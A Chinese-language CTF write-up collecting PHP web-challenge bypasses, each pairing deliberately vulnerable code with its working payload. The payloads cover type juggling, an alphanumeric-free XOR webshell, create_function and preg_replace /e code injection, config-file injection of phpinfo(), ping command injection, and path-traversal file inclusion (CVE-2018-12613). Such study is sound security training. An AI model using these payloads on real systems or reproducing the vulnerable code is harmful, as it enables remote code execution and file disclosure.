CTF——web安全中的一些繞過

---

function check($number)
{
    $one = ord('1');
    $nine = ord('9');
    for ($i = 0; $i < strlen($number); $i++)
    {
        $digit = ord($number{$i});
        if ( ($digit >= $one) && ($digit <= $nine) )
        {
            return false;
        }
    }
    return $number == '11259375';
}

0xabcdef

用11259375的16進制形式0xabcdef

---

---

1 $num=$_GET['num'];
 if(!is_numeric($num))
 {
     echo $num;
     if($num==1)
         echo 'flag{**********}';
 }

?num=1xxx

不能用16進制形式0x1,前面加0形式0001，或者科學計數法形式0e0，因為都會被判斷為數字。但可以提交1xxx,后面跟上除了數字，點（兩個點可以：1..）以外任意字符即可，php用==比較字符串和數字時，會把字符串隱式轉換為數字，如果字符串中有非數字字符，只取最前面的數字，例如"1x"=1,"22asd"=22,"qwe123"=0

---

---

 1 <?php

function getFlag()
{
    echo "flagxxxxxxx";
}

if(isset($_GET['code']))
{
    $code = $_GET['code'];

    if(strlen($code)>40)
    {
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code))
    {
        die("NO.");
    }
        
    @eval($code);
}
//$hint =  "php function getFlag() to get flag";
?>

?code=$_="<%)},?'"^"[@];@^@";$_();   

兩句php代碼，第一句  $_="<%)},?'" ^ "[@];@^@";  是把兩個字符串異或運算結果賦給$_變量，" <%)},?' " 這個含7個字符的字符串和 " [@];@^@ " 異或的結果就是getFlag，然后第二句php代碼 $_(); 就相當於getFlag();

若是過濾了下划線，則 ${"}"^";"}= "<%)},?'" ^ "[@];@^@";   ${"}"^";"}();

詳見：

https://www.leavesongs.com/penetration/webshell-without-alphanum.html 

https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html

---

 

 

 

---

 1 <?php

    function flag()
    {
        echo "flag{xxxxxxx}";
    }

    $sort_by = $_GET['sort_by'];
    $sorter = 'strnatcasecmp';
    $databases=array('1234','4321');
    $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
    usort($databases, create_function('$a, $b', $sort_function));

 ?sort_by=1"], $b["1"]);}flag();//   

usort里構造了一個匿名函數，參數為$a,$b,函數體為$sort_function，這個匿名函數相當於是這樣寫的

function anonymouse($a,$b){ 函數體($sort_function) }

如果sort_by傳入1，則是

function anonymouse($a,$b){ return 1 * strnatcasecmp($a["1"], $b["1"]);}

若sort_by傳入 1"], $b["1"]);}flag();// ，則是

function anonymouse($a,$b){ return 1 * strnatcasecmp($a["1"], $b["1"]);}flag();//"], $b["1"], $b["1"]);}flag();//"]); }

即相當於

function anonymouse($a,$b){ return 1 * strnatcasecmp($a["1"], $b["1"]);}flag();

flag()就得以執行

---

 

 

 

---

 1 <?php
    function flag()
    {
        echo "flag{xxxxx}";
    }

    $id=$_GET['id'];
    $str2='echo  '.$a.'test'.$id.";";
    echo $str2;
    echo "<br/>";
    echo "==============================";
    echo "<br/>";
    $f1 = create_function('$a',$str2);
    echo "<br/>";
    echo "==============================";

?id=1;}flag();//   或者  /?id=1;}flag();/*

原理同上 

---

 

 

 

 

---

 1 <?php
if(!is_array($_GET['test'])){exit();}
$test=$_GET['test'];
for($i=0;$i<count($test);$i++){
    if($test[$i]==="admin"){
        echo "error";
        exit();
    }
    $test[$i]=intval($test[$i]);
}
if(array_search("admin",$test)===0){
    echo "flag";
}
else{
    echo "false";
}
?>

?test[]=0

傳入test[]=0，那么test就是一個數值型的數組，即 Array ( [0] => 0 ) ，array_search()  在test數值型數組中查找 "admin" 這個字符串的時候，首先會把字符串轉換為數字，轉換規則具體看本文第二個示例，所以 "admin" 變成了0，array_search()如果查找成功就會返回其鍵名，test數組中0的鍵名是0，而0===0。

---

 

 

 

 

---

if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
  die("ERROR INTEGER REQUIRED");    
}

123\nPAYLOAD;

PAYLOAD\n123;

PAYLOAD\n123\nPAYLOAD

sql注入中的一個繞過，該正則由於m修飾符，將只驗證其中一行只包含整數

---

 

 

 

 

---

<?php
    function complexStrtolower($regex,$value){
        return preg_replace('/('.$regex.')/ei','strtolower("\\1")',$value);
    }

    foreach($_GET as $regex =>$value){
        echo complexStrtolower($regex,$value);
    }

    function flag(){
        echo 'flag{xxxxxxx}';
    }
?>

?%5cS*=${flag()}

\S 匹配任意非空字符，\1 是正則中的反向引用

詳見：

Preg_Replace代碼執行漏洞解析

---

 

 

 

---

1 <?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|',"\$option='$str';",$file);
file_put_contents('xxxxx/option.php',$file);

?>

解法1：

?option=%5c%27;phpinfo();//

 輸入\';phpinfo();//   ，\'經過addslashes()之后變為\\\'，隨后preg_replace會將兩個連續的\合並為一個，也就是將\\\'轉為\\'，這樣我們就成功引入了一個單引號，閉合上文注釋下文，中間加入要執行的代碼即可。此時option.php內容就為  $option='\\';phpinfo();//';

 

解法2：

?option=%27;%0a phpinfo();//

?option=xx

（. 匹配除換行符 \n 之外的任何單字符）

提交兩次，第一次提交后文件內容為：

<?php 
$option='\';
phpinfo();//';

第二次提交后為：

<?php 
$option='xx';
phpinfo();//';

 

解法3：

?option=;phpinfo();

?option=%00

\0： 正則中的反向引用，為 “匹配到的全部內容”

提交兩次，第一次提交后文件內容為：

<?php 
$option=';phpinfo();';

第二次提交后為：

<?php 
$option='$option=';phpinfo();';';

 

詳見：

一個PHP正則相關的“經典漏洞”

---

 

 

 

---

1 <?php
if(!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/',$_GET['ip'])){
    header("Location: ?ip=127.0.0.1");
}
system("ping -c 2".$_GET['ip']);
?>

?ip=127.0.0.1|ls

 即使瀏覽器將被重定向，此函數也不會停止執行流程，並且腳本仍將使用危險的參數完成運行，但不能在瀏覽器中輕易地利用此漏洞，因為瀏覽器將遵循重定向，並且不會顯示正在重定向的頁面

可以用burp抓包重放

---

 

 

 

---

 1 <?php
include 'f1agi3hEre.php';
if  ("POST" == $_SERVER['REQUEST_METHOD'])
{
    $password = $_POST['password'];
    if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
    {
        echo 'Wrong Format';
        exit;
    }
    while (TRUE)
    {
        $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
        if (6 > preg_match_all($reg, $password, $arr))
            break;
        $c = 0;
        $ps = array('punct', 'digit', 'upper', 'lower');
        foreach ($ps as $pt)
        {
            if (preg_match("/[[:$pt:]]+/", $password))
            $c += 1;
        }
        if ($c < 3) break;
        if ("42" == $password) echo $flag;
        else echo 'Wrong password';
        exit;
    }
}
highlight_file(__FILE__);
?>

password=%2b42.000000e0    （url編碼 + %2b）

 php用==比較數值型字符串，會轉換為數值進行比較大小。'+42.000000e0' =='42'

浮點型結構:

LNUM          [0-9]+
DNUM          ([0-9]*[\.]{LNUM}) | ({LNUM}[\.][0-9]*)
EXPONENT_DNUM [+-]?(({LNUM} | {DNUM}) [eE][+-]? {LNUM})

整型結構:

decimal     : [1-9][0-9]*
            | 0

hexadecimal : 0[xX][0-9a-fA-F]+

octal       : 0[0-7]+

binary      : 0b[01]+

integer     : [+-]?decimal
            | [+-]?hexadecimal
            | [+-]?octal
            | [+-]?binary

參考自PHP官方文檔：PHP:Float

---

---

<?php
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

//flag in ffffllllaaaagggg

index.php?file=hint.php%253f/../ffffllllaaaagggg

https://www.jianshu.com/p/0d75017c154f
(phpmyadmin4.8.1遠程文件包含漏洞 CVE-2018-12613)

---

/*****************不定時長期更新****************/